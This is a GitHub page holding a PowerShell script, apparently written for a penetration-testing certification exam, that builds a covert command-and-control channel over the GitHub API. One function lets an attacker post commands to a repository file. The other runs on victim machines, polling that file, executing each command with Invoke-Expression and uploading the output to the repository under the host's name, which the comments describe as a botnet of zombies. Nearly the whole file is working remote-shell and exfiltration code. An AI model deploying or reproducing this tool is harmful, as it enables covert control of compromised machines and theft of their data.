-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathGitHub-Interactive-Shell.ps1
334 lines (258 loc) · 12.7 KB
/
GitHub-Interactive-Shell.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
## Powershell For Penetration Testers Exam Task 9 - Use a popular third party website for interactive shell.
function GitHub-Master
{
<#
.SYNOPSIS
A PowerShell script that use the GitHub API for interactive shell.
.DESCRIPTION
A PowerShell script that use the GitHub API for interactive shell. This script must be executed on the attacker machine, it updates the GitHub file with the command
that the victims will execute and get the result uploaded to the GitHub repository by the victims.
.PARAMTER token
The github authentication token
https://github.com/blog/1509-personal-api-tokens
.PARAMTER githubCmdURI
The github URI with the commands to execute. This value must be the same specified in the victims script.
https://api.github.com/repos/:owner/:repo/contents/:path (ex. https://api.github.com/repos/salu90/PSFPT/contents/commands.txt)
.PARAMTER githubExfURI
The github repository for the exfiltration of the output of the command executed by the victim. This value must be the same specified in the victims script.
https://api.github.com/repos/:owner/:repo/contents/ (ex. https://api.github.com/repos/salu90/PSFPT/contents/cmdFolder/)
It is important to put the "/" character at the end of the path, otherwise it doesn't work
.PARAMTER idleTime
The second to wait between the checks of the GitHub files updated by the victims. Default is 30 seconds.
.PARAMTER commitMessage
The commit message.
.PARAMTER committerName
The author of the commit.
.PARAMTER committerEmail
The email of the author of the commit.
.PARAMTER branch
The repository brach of the the commit.
.EXAMPLE
PS C:\> . .\GitHub-Master
PS C:\> GitHub-Master -token c78d67aaaaaaaa998776545678990s76 -githubCmdURI https://api.github.com/repos/salu90/PSFPT/contents/commands.txt -githubExfURI https://api.github.com/repos/salu90/PSFPT/contents/testFolder/
PS C:\> GitHub-Master -token c78d67aaaaaaaa998776545678990s76 -githubCmdURI https://api.github.com/repos/salu90/PSFPT/contents/commands.txt -githubExfURI https://api.github.com/repos/salu90/PSFPT/contents/testFolder/ -idleTime 60
.LINK
https://developer.github.com/v3/repos/contents/
https://github.com/blog/1509-personal-api-tokens
.NOTES
This script has been created for completing the requirements of the SecurityTube PowerShell for Penetration Testers Certification Exam
http://www.securitytube-training.com/online-courses/powershell-for-pentesters/
Student ID: PSP-3190
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $true)]
[String]
$token,
[Parameter(Mandatory = $true)]
[String]
$githubCmdURI,
[Parameter(Mandatory = $true)]
[String]
$githubExfURI,
[Parameter(Mandatory = $false)]
[int]
$idleTime = 30,
[Parameter(Mandatory = $false)]
[String]
$commitMessage = 'defaultCommit',
[Parameter(Mandatory = $false)]
[String]
$committerName = 'defaultCommiter',
[Parameter(Mandatory = $false)]
[String]
$committerEmail = '[email protected]',
[Parameter(Mandatory = $false)]
[String]
$branch = 'master'
)
$lastCommand = ""
#Sets github parameters
$auth = @{"Authorization"="token $token"}
$committer = @{"name"=$committerName; "email"=$committerEmail}
While (1) {
$files = New-Object System.Collections.ArrayList
$toExecute = Read-Host -Prompt 'Input the command to execute'
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($toExecute)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
#Sets github parameters to update files
$data = @{"path"=$fileName; "message"=$commitMessage; "committer"=$committer; "content"=$fileContentEncoded; "branch"=$branch;}
$jsonData = ConvertTo-Json $data
#TODO: Optimize this piece of code, it is possible to reduce the number of requests
#If is the first time create a new file on GitHub, otherwise get the hash of the last file
try{
$response = Invoke-WebRequest -Headers $auth -Method PUT -Body $jsonData -Uri $githubCmdURI -UseBasicParsing
}catch{
$response = Invoke-WebRequest -Headers $auth -Method GET -Uri $githubCmdURI -UseBasicParsing
$responseString = $response.content
$splitted = $responseString.split(",")
foreach ($split in $splitted){
if ($split.split(":")[0] -match "sha"){
$sha = $split.split(":")[1].replace('"', '')
}
}
#submit the new command to execute to the github file
$data = @{"path"=$fileName; "message"=$commitMessage; "committer"=$committer; "content"=$fileContentEncoded; "branch"=$branch; "sha"=$sha}
$jsonData = ConvertTo-Json $data
$response = Invoke-WebRequest -Headers $auth -Method PUT -Body $jsonData -Uri $githubCmdURI -UseBasicParsing
}
if (($response.StatusCode -eq 201) -or ($response.StatusCode -eq 200)){
write-verbose "command updated succesfully!"
}
else {
write-host "Error updating command to execute" -ForegroundColor Red
}
Write-Verbose "sleeping $idleTime seconds"
Start-Sleep -s $idleTime
#Get the list of hostnames belonging to the botnet
$response = Invoke-WebRequest -Headers $auth -Method GET -Uri $githubExfURI -UseBasicParsing
$responseString = $response.content
$splitted = $responseString.split(",")
foreach ($split in $splitted){
if ($split.split(":")[0] -match "name"){
$url = $split.split(":")[1].replace("\n","").replace('"', '')
$files.Add($url) > $null
}
}
#get the result of the command executed by each zombie of the botnet
foreach ($file in $files){
$filesResponse = Invoke-WebRequest -Headers $auth -Method GET -Uri $githubExfUri$file -UseBasicParsing
$responseString = $filesResponse.content
$splitted = $responseString.split(",")
$command = ""
foreach ($split in $splitted){
if ($split.split(":")[0] -match "content"){
$base64 = $split.split(":")[1].replace("\n","").replace('"', '')
$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))
write-host "HOSTNAME:"$file -ForegroundColor Green
write-host $command
write-host
}
}
}
}
}
function GitHub-Shell
{
<#
.SYNOPSIS
A PowerShell script that use the GitHub API for interactive shell.
.DESCRIPTION
A PowerShell script that use the GitHub API for interactive shell. This script must be executed on the victims machines, it checks the command to execute on a GitHub file and send the output of the command to another one.
.PARAMTER token
The github authentication token
https://github.com/blog/1509-personal-api-tokens
.PARAMTER githubCmdURI
The github URI with the commands to execute. This value must be the same specified in the master script.
https://api.github.com/repos/:owner/:repo/contents/:path (ex. https://api.github.com/repos/salu90/PSFPT/contents/commands.txt)
.PARAMTER githubExfURI
The github repository for the exfiltration of the output of the command executed by the victim. It is important to specify and empty gitHub folder. This value must be the same specified in the master script.
https://api.github.com/repos/:owner/:repo/contents/ (ex. https://api.github.com/repos/salu90/PSFPT/contents/)
.PARAMTER idleTime
The second to wait between the checks of the command on the GitHub file. Default is 30 seconds.
.PARAMTER commitMessage
The commit message.
.PARAMTER committerName
The author of the commit.
.PARAMTER committerEmail
The email of the author of the commit.
.PARAMTER branch
The repository brach of the the commit.
.EXAMPLE
PS C:\> . .\GitHub-Shell
PS C:\> GitHub-Shell -token c78d67aaaaaaaa998776545678990s76 -githubCmdURI https://api.github.com/repos/salu90/PSFPT/contents/commands.txt -githubExfURI https://api.github.com/repos/salu90/PSFPT/contents/testFolder
PS C:\> GitHub-Shell -token c78d67aaaaaaaa998776545678990s76 -githubCmdURI https://api.github.com/repos/salu90/PSFPT/contents/commands.txt -githubExfURI https://api.github.com/repos/salu90/PSFPT/contents/testFolder -idleTime 60
.LINK
https://developer.github.com/v3/repos/contents/
https://github.com/blog/1509-personal-api-tokens
.NOTES
This script has been created for completing the requirements of the SecurityTube PowerShell for Penetration Testers Certification Exam
http://www.securitytube-training.com/online-courses/powershell-for-pentesters/
Student ID: PSP-3190
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $true)]
[String]
$token,
[Parameter(Mandatory = $true)]
[String]
$githubCmdURI,
[Parameter(Mandatory = $true)]
[String]
$githubExfURI,
[Parameter(Mandatory = $false)]
[int]
$idleTime = 30,
[Parameter(Mandatory = $false)]
[String]
$commitMessage = 'defaultCommit',
[Parameter(Mandatory = $false)]
[String]
$committerName = 'defaultCommiter',
[Parameter(Mandatory = $false)]
[String]
$committerEmail = '[email protected]',
[Parameter(Mandatory = $false)]
[String]
$branch = 'master'
)
$lastCommand = ""
#Sets github parameters
$auth = @{"Authorization"="token $token"}
$committer = @{"name"=$committerName; "email"=$committerEmail}
$data = @{"path"=$fileName; "message"=$commitMessage; "committer"=$committer; "content"=$fileContentEncoded; "branch"=$branch}
While (1) {
#Get the command to execute from GitHub
$response = Invoke-WebRequest -Headers $auth -Method GET -Uri $githubCmdURI -UseBasicParsing
$responseString = $response.content
$splitted = $responseString.split(",")
$command = ""
foreach ($split in $splitted){
if ($split.split(":")[0] -match "content"){
$base64 = $split.split(":")[1].replace("\n","").replace('"', '')
$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))
}
}
if($command -ne $lastCommand){
Write-Verbose "excuting $command"
#executes the command
$fileContent = Invoke-Expression -Command:$command
#gets the content of the file to exfiltrate and converts it to base64
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
#Sets github parameters for exfiltration to GitHub of the command executed
$data = @{"path"=$fileName; "message"=$commitMessage; "committer"=$committer; "content"=$fileContentEncoded; "branch"=$branch;}
$jsonData = ConvertTo-Json $data
#set the name of the file where to write the output of the command executed, to recongnize the machine of the botnet the name is the hostname of the machine
$hostname = Invoke-Expression -Command:hostname
$githubExfURIFinal = "$githubExfURI/$hostname.txt"
Write-Verbose "uploding file: $githubExfURIFinal"
#TODO Optimize this piece of code, it is possible to reduce the number of requests
#If is the first time create a new file on GitHub, otherwise get the hash of the last file
try{
$response = Invoke-WebRequest -Headers $auth -Method PUT -Body $jsonData -Uri $githubExfURIFinal -UseBasicParsing
}catch{
$response = Invoke-WebRequest -Headers $auth -Method GET -Uri $githubExfURIFinal -UseBasicParsing
$responseString = $response.content
$splitted = $responseString.split(",")
foreach ($split in $splitted){
if ($split.split(":")[0] -match "sha"){
$sha = $split.split(":")[1].replace('"', '')
}
}
#submit the commands executed to the github file
$data = @{"path"=$fileName; "message"=$commitMessage; "committer"=$committer; "content"=$fileContentEncoded; "branch"=$branch; "sha"=$sha}
$jsonData = ConvertTo-Json $data
$response = Invoke-WebRequest -Headers $auth -Method PUT -Body $jsonData -Uri $githubExfURIFinal -UseBasicParsing
}
if (($response.StatusCode -eq 201) -or ($response.StatusCode -eq 200)){
write-verbose "File uploaded succesfully!"
}
else {
write-verbose "Error"
}
$lastCommand = $comand
}
Write-Verbose "sleeping $idleTime seconds"
Start-Sleep -s $idleTime
}
}